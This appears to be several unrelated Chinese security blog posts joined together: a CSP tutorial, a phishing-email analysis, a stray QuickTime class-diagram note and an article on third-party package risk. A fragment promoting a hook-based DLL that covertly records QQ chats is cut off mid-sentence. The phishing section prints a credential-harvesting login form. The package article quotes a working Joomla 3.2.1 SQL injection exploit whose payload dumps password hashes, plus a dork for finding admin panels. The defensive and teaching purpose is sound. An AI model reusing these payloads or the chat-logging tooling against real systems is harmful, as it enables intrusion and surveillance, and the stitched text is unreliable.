接下來我們將 php header 的那一行程式碼修改如下並且 reload 瀏覽器頁面：

<?php header("Content-Security-Policy: default-src *; img-src https:; frame-src 'none'"); ?>

使用 CSP 限制 img 與 frame 的來源種類後，我們可以從上圖 Chrome Inspector 的紅字觀察到，網站的圖片與 iframe 影片已被瀏覽器擋掉，無法載入。

如果擔心直接使用 CSP 會影響網站營運，但又想嘗試 CSP，可以先使用 Content-Security-Policy-Report-Only，示範如下：

<?php header("Content-Security-Policy-Report-Only: default-src *; img-src https:; frame-src 'none'; report-uri http://devco.re/demo"); ?>

由上圖可以看到，此 header 不會直接阻擋不符合 CSP 規範的資源，但是會根據使用者所違反的規則發送相對應的 POST request 至指定的 URI，發送內容如下：

{ "csp-report": { "blocked-uri":"http://devco.re/", "document-uri":"http://yoursite.com/csp.php", "original-policy":"default-src *; img-src https:; frame-src 'none'; report-uri http://devco.re/demo", "referrer":"", "status-code":200, "violated-directive":"img-src https:" } }

由發送內容可看出這個 request 因為違反了「img-src https:」規則而將「http://devco.re/」這個來源擋掉。經由此方式，可一邊修改網站一邊觀察是否仍有不符合 CSP 規範之處，等到所有違規的內容都修正完畢後，再將 CSP 套用到正式上線環境。

由於宣告方式非常多種，在這邊就不一一條列，若有興趣可前往 Content Security Policy Reference & Examples、Using Content Security Policy - Security | MDN 等網頁，有更完整的使用情境與範例可供參考。另外也有 Slide (by Ben Vinegar) 跟 YouTube 影片 (by Adam Barth) 可參考。

CSP 實際使用案例

目前採用 CSP 的案例較少，比較知名的使用案例是 GitHub，在 2013 年 4 月 GitHub 還寫了一篇專文公告表示他們已開始採用 CSP。另外一個案例廠商可能較廣為人知，是在 2013 年當紅的免費儲存空間 MEGA。兩個案例的實際內容可見於下圖：

另一項知名使用案例是 Google 明定開發 Chrome Extension 時必須使用 CSP，以追求更高的安全性。Mozilla 也在 MozillaWiki 開了一頁存放相關技術細節。若您想觀察其他使用案例，可使用 Chrome Inspector 或 curl 觀察以下幾個網站：LastPass，Twitter，1Password。

CSP 常見誤用案例

• directives 後面不需加冒號

  錯誤：default-src: ‘self’

  正確：default-src ‘self’

• directives 之間以分號區隔

  錯誤：default-src ‘self’, script-src ‘self’

  正確：default-src ‘self’; script-src ‘self’

• 多個 source 之間僅以空白區隔

  錯誤：default-src ‘self’; img-src ‘self’, img1.devco.re, img2.devco.re

  正確：default-src ‘self’; img-src ‘self’ img1.devco.re img2.devco.re

• 某些 source 必須加冒號（https:、data:）

  錯誤：default-src ‘self’; img-src ‘self’ https data

  正確：default-src ‘self’; img-src ‘self’ https: data:

• 某些 source 必須用單引號括起來（’none’、’self’、’unsafe-inline’、’unsafe-eval’）

  錯誤：script-src self unsafe-inline unsafe-eval

  正確：script-src ‘self’ ‘unsafe-inline’ ‘unsafe-eval’

結論

使用 CSP 可以有效提升攻擊難度，讓許多常見的 XSS 攻擊失效，是一個非常推薦開發者使用的 HTTP header。但由於目前的開發者在 HTML 裡面寫 inline script 及 inline CSS 的比例非常高，同時也有一些網路服務預設都需要使用 inline script（例如 Google Analytics，相關解法可參考這裡），因此要享受這樣的安全之前，可能需要先付出許多時間與心力將網站大幅整理，套用 CSP 規範後網頁才能正常運作。

Quick Time Plugin 的类图。 类图的矢量PDF格式：http://pan.baidu.com/s/1o6oFV8Q 简要说明： FigPluginView实现了WebKit的插件接口。 FPVMediaPlayerHelper 是处理插件与对应DOM媒体元素的辅助类，比如：处理事件等等。 类图：

最近身邊的朋友不斷的收到 Gmail 中 Google 的警告：

駭客間的戰爭已經不只是個人對個人，而已經擴大成國家對國家。一個國家為了獲取他國的機密文件、情報、個人資料等，都會想盡各種辦法入侵帳號、寄送惡意郵件、釣魚盜取密碼等。而身為受害者的我們能做什麼呢？Google 官方提出的建議是：加強密碼安全、注意登入 IP 位址、更新自己使用的軟體、開啟二階段驗證。當然有良好的資安意識才是更重要的。

正好今天收到一個簡單的案例，提供給各位參考。

在信箱中躺著一封很像是國外客戶的信件「Company Profile / Order Details」。內容看起來也很正常，並且附上了公司的基本資料為附加檔案。

點開附件，會發現畫面先跳了 JavaScript 警告視窗後，隨即導向到 Google 登入頁面。

注意看，這個登入頁面是真的嗎？有沒有發現畫面上的「Stay signed in」前面的勾變成方框了？瀏覽器上的網址也是在本機的位址。想想看，怎麼可能點了附件之後，跳轉到 Google 登入畫面？

讓我們看一下原始碼，會發現他的 form 被改成一個奇怪的網址，看起來就是惡意網站。其餘網頁的部份都是從 Google 真實的登入頁面抓取下來修改的。因此只要一不注意，就會以為是真的 Google 登入畫面而輸入帳號密碼。

節錄部分 code 如下：

<form novalidate="" method="post" action="http://cantonfair.a78.org/yahoo/post.php" id="gaia_loginform"> <input name="GALX" value="6UMbQQmFgwI" type="hidden"> <input name="continue" value="http://mail.google.com/mail/" type="hidden"> <input name="service" value="mail" type="hidden"> <input name="hl" value="en" type="hidden"> <input name="scc" value="1" type="hidden"> <input name="sacu" value="1" type="hidden"> <input id="_utf8" name="_utf8" value="☃" type="hidden"> <input name="bgresponse" id="bgresponse" value="js_disabled" type="hidden"> <input id="pstMsg" name="pstMsg" value="1" type="hidden"> <input id="dnConn" name="dnConn" value="" type="hidden"> <input id="checkConnection" name="checkConnection" value="youtube:424:1" type="hidden"> <input id="checkedDomains" name="checkedDomains" value="youtube" type="hidden"> <label class="hidden-label" for="Email">Email</label> <input id="Email" name="Email" placeholder="Email" spellcheck="false" class="" type="email"> <label class="hidden-label" for="Passwd">Password</label> <input id="Passwd" name="Passwd" placeholder="Password" class="" type="password"> <input id="signIn" name="signIn" class="rc-button rc-button-submit" value="Sign in" type="submit">

發現了嗎？其中 form 的 action 欄位被取代成「http://cantonfair.a78.org/yahoo/post.php」，而這個頁面會直接接收受害者輸入的帳號密碼，並且自動跳轉到真正的 Google 登入頁面。攻擊者從 a78.org 這個網站中直接取得所有被駭的人輸入的帳號密碼。

這是一個很簡單、典型、又易被發現的釣魚案例。如果一時不察不小心輸入了帳號密碼，下次帳號被盜的就是自己。建議大家在收取信件的時候遵循幾大原則：

1. 不隨便開啟附加檔案：附件常夾帶惡意程式、執行檔、惡意文件、釣魚網頁等，切勿隨便開啟。可使用 Google Docs 開啟附件文件防止惡意文件攻擊 Adobe PDF Reader、Microsoft Office 等程式。更常有把惡意程式加密壓縮後寄出，在信中附上密碼，借此規避防毒軟體的偵測，不可不慎。
2. 注意信件中的超連結 URL：釣魚信件常在超連結中使用惡意網站的 URL，在點選之前務必仔細檢查，更要小心「Google」及「Goog1e」之類的英文數字差異。
3. 注意信件中的語氣：有的時候攻擊者仿冒你身邊可信任的人寄信給你，但是語氣、用詞要非常精準。如果出現了「尊敬的用戶您好」你就會發現這個應該不太像是台灣本土的信件用語。
4. 不在信件中夾帶機敏資料：信件是不安全的，切勿在信中提到帳號、密碼、個資等機密資料。
5. 不回應陌生郵件：郵件中會夾帶自己的 IP 位址，回應信件可能讓攻擊者得到這些資料。
6. 使用安全的郵件軟體：若使用安全的郵件軟體、平台，例如 Gmail，遇到惡意郵件時，會即時阻擋並且警告用戶。如果使用自己的郵件軟體，就要特別注意釣魚等攻擊。

電子郵件的攻擊已經成為滲透攻擊主要的手法之一，不少國際資安事件都是肇因於惡意郵件。例如 2013 年韓國 DarkSeoul 事件，以及竄改交易匯款資料郵件詐取匯款等。身為目標的我們更要時時注意使用電子郵件時的安全事項。

Today, Microsoft released Security Advisory 2953095 to notify customers of a vulnerability in Microsoft Word. At this time, we are aware of limited, targeted attacks directed at Microsoft Word 2010. This blog will discuss mitigations and temporary defensive strategies that will help customers to protect themselves while we are working on a security update.

近期把所有聊天相关模块进行了整合，整合到一个dll中，并对代码进行了大量的重构和优化，另外就是一些新的功能，目前情况如下： 【技术特点】 1.采用技术方案为hook方式，非不可靠的硬编码、非不负责任的读内存方式。 2.考虑便于维护的技术方案，不会随qq变更而需要大作改动，类似以前版本的SaveMsg方案。 3.支持后台聊天记录即不打开聊天窗口即可记录聊天记录。 4.支持图片、表情、语音、

使用第三方套件節省開發時間，已經是整個資訊產業的慣例。但是很多管理者可能不知道，使用第三方套件到底需要擔負多大的資安風險。你確定你用的套件是安全無虞的嗎？是否有經過嚴謹的安全測試？若有安全漏洞引爆，是否有廠商可以負責維護修補？廠商開發的程式碼品質是否穩定？這些都是在使用之前必須要考慮的。

在服務眾多客戶之後，我們深知這些問題的嚴重性。以下我們將就幾個經典的案例來說明使用第三方套件所要擔負的風險，並且分享我們對於第三方套件的安全建議。

程式碼的安全性？

程式碼的品質直接決定了系統的安全性。如果一個套件有以下幾點因素：

1. 程式開發已久難以修改
2. 開發人員無安全觀念
3. 大量整合外部套件，無法控管每個套件安全

可能就因為程式碼難以修改，形成漏洞百出的程式架構。若是之後陸續發生安全問題，儘管不斷的修補漏洞，但卻會因為程式碼的設計、架構等因素，造成日後依舊陸續有安全疑慮。

案例說明：DedeCMS

DedeCMS 是知名的內容管理系統，不少公司拿此套件架設網站、部落格等。但在這幾個月，在「烏雲平台」上陸續有人揭露 DedeCMS 的漏洞。包括大量各種 SQL Injection、Cross-Site Scripting 弱點等等，甚至還包括 Command Execution 問題。如果沒有即時修正這些問題，小則造成用戶帳號被盜，大則造成整台主機被入侵，取得作業系統權限。

什麼系統沒被找到漏洞過呢？有那麼嚴重嗎？但該系統已經不只一次出現重大漏洞導致企業遭到入侵，在今年一二月份更是遭揭露多達十數個高風險 SQL Injection 資料庫注入漏洞。此現象凸顯該套件的設計並未經過安全測試，並且採用不安全的程式撰寫方式，未來可能會有更多隱含的漏洞釋出。

在平台中搜尋關鍵字「DedeCMS」，會發現漏洞提報的次數相當多，在漏洞的評論中也有不少技術人員進行討論。但更多的疑惑是為什麼 DedeCMS 會一再的發生資安問題。例如以下漏洞：

• Dedecms某命令執行漏洞
• DedeCMS全版本通殺SQL注入(真正的無任何限制附官方測試結果)
• DedeCMS全版本通殺SQL注入(無任何限制)
• Dedecms某命令执行漏洞（续）

而於另一個「Sebug 安全漏洞信息庫」也可以看到不少 DedeCMS 的蹤影。

如果官方在第一時間就能接獲通報、了解問題並修正解決，提供更新程式給客戶更新，那安全的風險會小些。但在官方尚未釋出更新的這段時間，網站將完全的暴露在風險當中。有心人士看到套件的漏洞陸續被揭露，也會更有興趣尋找使用該套件的網站攻擊。

案例說明：Joomla!

Joomla! 是另一套國際非常知名的 CMS 系統，因為其便利性，很多企業、學校、政府單位，都採用此套件建立網站。透過 Google Hacking 方式可以找到台灣非常多網站都使用 Joomla! 架站。

site:tw intitle:管理區 inurl:administrator

但是如果今天這個系統出了問題呢？「Joomla!」因為外掛、套件眾多，也經常成為漏洞發掘的對象。在 2014/02/05，國外釋出了一個 SQL Injection Exploit，可以導致網站帳號密碼直接被導出。

官方安全公告：http://developer.joomla.org/security/578-20140301-core-sql-injection.html

Secunia: Joomla! Multiple Vulnerabilities http://secunia.com/advisories/56772/

Exploit 位址：http://www.exploit-db.com/exploits/31459/

# Exploit Title: Joomla 3.2.1 sql injection # Date: 05/02/2014 # Exploit Author: [email protected] # Vendor Homepage: http://www.joomla.org/ # Software Link: http://joomlacode.org/gf/download/frsrelease/19007/134333/Joomla_3.2.1-Stable-Full_Package.zip # Version: 3.2.1 (default installation with Test sample data) # Tested on: Virtualbox (debian) + apache POC=> http://localhost/Joomla_3.2.1/index.php/weblinks-categories?id=\   will cause an error:   1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\)' at line 3 SQL=SELECT `t`.`id` FROM `k59cv_tags` AS t INNER JOIN `k59cv_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id` AND `m`.`type_alias` = 'com_weblinks.categories' AND `m`.`content_item_id` IN ( \) Array ( [type] => 8 [message] => Undefined offset: 0 [file] => /var/www/Joomla_3.2.1/libraries/joomla/filter/input.php [line] => 203 )   I modified the original error.php file with this code --- <?php print_r(error_get_last()); ?> --- in order to obtain something useful. ;-)   Now i can easily exploit this flaw:   http://localhost/Joomla_3.2.1/index.php/weblinks-categories?id=0%20%29%20union%20select%20password%20from%20%60k59cv_users%60%20--%20%29 and obtain the hash:   1054 Unknown column '$P$D8wDjZpDIF4cEn41o0b4XW5CUrkCOZ1' in 'where clause' SQL=SELECT `m`.`tag_id`,`m`.`core_content_id`,`m`.`content_item_id`,`m`.`type_alias`,COUNT( `tag_id`) AS `count`,`t`.`access`,`t`.`id`,`ct`.`router`,`cc`.`core_title`,`cc`.`core_alias`,`cc`.`core_catid`,`cc`.`core_language` FROM `k59cv_contentitem_tag_map` AS `m` INNER JOIN `k59cv_tags` AS `t` ON m.tag_id = t.id INNER JOIN `k59cv_ucm_content` AS `cc` ON m.core_content_id = cc.core_content_id INNER JOIN `k59cv_content_types` AS `ct` ON m.type_alias = ct.type_alias WHERE `m`.`tag_id` IN ($P$D8wDjZpDIF4cEn41o0b4XW5CUrkCOZ1) AND t.access IN (1,1) AND (`m`.`content_item_id` <> 0 ) union select password from `k59cv_users` -- ) OR `m`.`type_alias` <> 'com_weblinks.categories') AND `cc`.`core_state` = 1 GROUP BY `m`.`core_content_id` ORDER BY `count` DESC LIMIT 0, 5   CheerZ>

值得注意一看的是官方公告，上面標註著漏洞回報時間以及修補時間。2014/2/6 接獲回報，2014/3/6 修復。在這整整一個月的時間之內，所有適用版本內的 Joomla! 網站都將受此漏洞影響。因此套件廠商的反應修復速度越慢，顧客暴露在風險之中的時間越長。

Project: Joomla! SubProject: CMS Severity: High Versions: 3.1.0 through 3.2.2 Exploit type: SQL Injection Reported Date: 2014-February-06 Fixed Date: 2014-March-06 CVE Number: Pending 案例說明：外包廠商

這樣的情境你是否熟悉？

公司有一套客製化的系統需要建置，但是因為公司內部開發人員不足，因此把這個系統外包出去給廠商做。貨比三家不吃虧，比了 A B C 三家，發現 A 家最便宜實惠，交貨時間又短。決定就把這個系統發包給 A 廠商做。半年過去了，這個廠商順利交貨結案。

一年過後，發現這個系統竟然遭到入侵，主動攻擊內部其他伺服器。「不是有買防火牆嗎？怎麼還會被入侵？」老闆說。這可嚴重了，馬上找廠商來刮一頓。沒想到，A 廠商表示，該案已經順利結案，維護期也已經過了，沒辦法提供協助，除非繼續簽訂維護合約。問題總得解決，簽訂了維護合約之後，A 廠商也協助把病毒砍掉了。圓滿結束？事情有那麼簡單嗎？

過了兩天，系統又開始攻擊其他伺服器。「病毒不是已經砍掉了嗎？」老闆說。問題在哪大家應該都很清楚。在尋找資安廠商協助之下，發現主機是因為 A 廠商設計的系統含有漏洞，導致 SQL Injection 問題，遭攻擊者利用植入惡意程式。A 廠商百般無奈，摸摸鼻子把這個漏洞修補起來。又過了兩天，再度遭到入侵。看了看，發現又是另一個 SQL Injection 問題。在幾次與攻擊者的不斷角力之下，終於好像把問題都修完了。

過了一週，系統再度有惡意程式的蹤跡，A 廠商也無能為力。資安廠商表示，買這個就對了！在陸續被迫買了防火牆、WAF、IDS 等設備後，雖然問題貌似改善，但系統仍然零星有入侵事件發生。公司只好「斷然處置」，等待下次預算，另請廠商重新開發系統。

• 問題 1：該系統是否還有其他漏洞？
• 問題 2：公司的處置是否正確？
• 問題 3：A 廠商的其他客戶是否有類似的問題？
• 問題 4：不是有買資安設備？為什麼還會有資安事件？
• 問題 5：公司該如何自保？
• 問題 6：廠商該如何自保？

想一下以上各點問題。

• 問題 1：該系統是否還有其他漏洞？

如果一個在開發時期就沒有注意安全的系統，很有可能有更多不為人知的漏洞。如果被動依賴資安事件，發生一件修一個漏洞，那是永無止盡的。正確的方式應該是直接針對 A 廠商的原始碼進行黑箱滲透測試、白箱源碼檢測 (Code Review)，才能快速找出所有風險。

• 問題 2：公司的處置是否正確？

「貨比三家不吃虧」，節儉確實是美德，但是在資訊產業中，越便宜的系統可能代表著更多的 cost down，除了犧牲掉品質之外，可能帶給企業更多損失。在資安事件發生時，一定要找原本維運廠商負責，並且與資安顧問公司配合，協助廠商把問題解決。

• 問題 3：A 廠商的其他客戶是否有類似的問題？

羅馬不是一日造成的，不安全的系統也不是一個漏洞造成的。廠商通常是做出一份系統，客製化販賣給不同的企業用戶。如果在建置的過程中沒有注意安全問題，今天這家客戶有這個漏洞，別的客戶一定也會有。因此如果採用了不良的廠商實作的系統，下一個被駭的可能就是自己。

• 問題 4：不是有買資安設備？為什麼還會有資安事件？

「不是有買防火牆嗎？怎麼還會被入侵？」是很多傳統思維企業的共同心聲。防火牆不是萬靈丹，駭客也絕對不是電腦。並不是完全依賴資安設備就能夠避免資安問題。在駭客的手法中，更多是如何繞過各種防禦設備手段，甚至有些資安設備本身竟然含有資安弱點，企業反而因為資安設備導致系統被入侵。

正確的思維應該是從人開始做起，建立正確的資安觀念、資安思維，學習駭客的思維。建立正確的系統開發流程、建立正確的資安事件處理流程。尋找信譽良好的資安顧問廠商，定期針對企業內部各系統進行滲透測試、弱點掃描。安全的建立絕非一蹴可及，唯有一步步踏穩才能走得更遠。

• 問題 5：公司該如何自保？
• 問題 6：廠商該如何自保？

請看下一個章節「建議對策」。

建議對策

一個安全的系統，絕對是由基礎建設開始，每個環節都兼顧到安全的設計，並且定期稽核程式碼安全，使用正確安全的方式開發。如果系統開發初期就沒有兼顧安全，後期不管怎麼修補，都還是會有漏洞讓攻擊者有機可趁。

企業該如何自保？使用 OpenSource 第三方套件或者是系統委外開發，是企業無可避免的。如果是第三方套件，平時可以多加注意套件的資安消息，如果一有新的漏洞被發現，將可以在第一時間應變。若沒有足夠人力密切注意資安消息，也可以委請資安顧問廠商協助，在得知資安消息的第一時間通報企業。委外開發的系統，企業可以要求廠商提出專業公正第三方資安公司進行檢測，並且提出安全報告，證明該系統有經過滲透測試等安全檢測，保障雙方的權利。

如果系統已經被入侵了，或者是被揭露了安全漏洞，該如何自保呢？在漏洞大量揭露的情況下，系統更會成為攻擊者的目標。因此要務必密切注意使用該套件的伺服器狀況，並且遵循以下原則：

• 密切注意官方的更新程式並立即更新
• 此台伺服器的帳號密碼切勿與他台共用
• 將此台伺服器與其他伺服器隔離，避免遭入侵時受害範圍擴大
• 異地備份伺服器的系統記錄，並定時檢閱記錄，觀察是否有可疑行為
• 考慮採用 Web Application Firewall (WAF)、ModSecurity 伺服器安全模組，增加攻擊難度
• 重新評估使用遭入侵套件的必要性以及安全考量，避免成為企業的隱含風險

使用第三方套件加速開發節省成本的同時，務必也要考慮安全的問題，才不會因小失大，造成企業更大的損失。同時企業也必須增加資安的素養以及了解攻擊者的思維，別讓自己的企業成為下一個資安事件報導的對象。